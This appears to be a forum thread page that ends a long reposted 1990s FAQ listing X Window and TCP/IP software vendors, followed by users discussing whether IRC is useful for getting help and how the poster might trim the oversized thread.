3.1 or better, and 4mb of RAM. (for a network connection, you will need a network card) Hummingbird Communications, Ltd.; 2900 John Street, Markham, Ontario, Canada L3R 5G3; (905)470-1203, fax: (905)470-1207, email: colin.webster@hcl.com Suggestion PC-Xview PC-Xview is available for DOS or Windows, supporting use of X over the network. It also supports NCD's Xremote protocol that allows X to run over a modem much faster than could be achieved running a standard X package over SLIP or PPP. Network Computing Devices, Inc.; (800)793-7638 Downright speculation XVISION$449

XVision allows X applications to run under Windows. You have a choice of
running each X app in its own Window, or all X applications within one big
Window.

VisionWare, Ltd.; 57 Cardigan Lane, Leeds, England; 44-0-532-788858,
(800)222-0550, fax:44-0-532-304676

Downright Speculation
DesQView X

DesQView X integrates networks of DOS and UNIX machines using the X-Windows
protocol, allowing DOS machines to act as X-Windows clients and servers.

Quarterdeck Office Systems; 150 Pico Boulevard, Santa Monica, CA90405;
(213)392-9851, fax:(213)399-3802

Development Software
Epilogue Technology

Includes source code. mailto:info@epilogue.com, fax: (505)271-9788

Spider Systems

Available for many architectures, mailto:ian@spider.co.uk, fax:
44-31-555-0664

Marben Produit
TCP/IP Source

available, fax: 33-1-47.72.55.00

Network Research
FUSION
Source available, fax: 1(805)485-8204

------------------------------ END OF PART 5 ------------------------

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html

4. that is seriously an overflow of info... just make a text file and attach it.. it took my browser a good 30 seconds to load all that... i did read here and there but most of that is very introductory but a good read indeed.. but do me a favor, edit it to an attached .txt..

5. Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.

6. Originally posted here by Juridian
Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.
I didn't write that part. The email address at the bottom is of the author. I'm thinking you took that as a shot at you, but it wasn't. I already told you what I thought about egos.

7. *shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.

8. Originally posted here by Juridian
*shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.
I agree with that, IRC can be a great resource if the check list you made is taken into consideration. I'm hoping to make this post a little different. I think I'm going to chop the "halves" in half again. I had all of this is one post at first and it was NOt working well. So I made it into two posts, then the final 3.

It was hard as hell trying to sort through the over 3,000 text files I have found and written to put this together, but I think it's good to have a big ass thread where someone wityh some free time can learn alot about things in TCP/IP including a bit on security at the same time.

That's why I mainly added the TCP attack info. It's slightly dated but can give people an idea of how the security aspect works out without just printing them instructions.

While we have our lil convorsation going, how do you feel I did on this giant post J? I know if I chop it down I'll probably redo how it's laid out, it looks slightly messy to me. I just wanted to be sure it would post.

9. From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...

10. Originally posted here by Juridian
From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...
Heh, yea I think this thing needs a clean up job. The size is huge but I wanted to get enough in from each section to actually get a good reaction on what was good and what can be taken out without spoiling the over all document. I have this on my HD in two peices right now going over it to see what could me trimmed.

Page 1 of 2 12 Last

#### Posting Permissions

• You may not post new threads
• You may not post replies
• You may not post attachments
• You may not edit your posts
•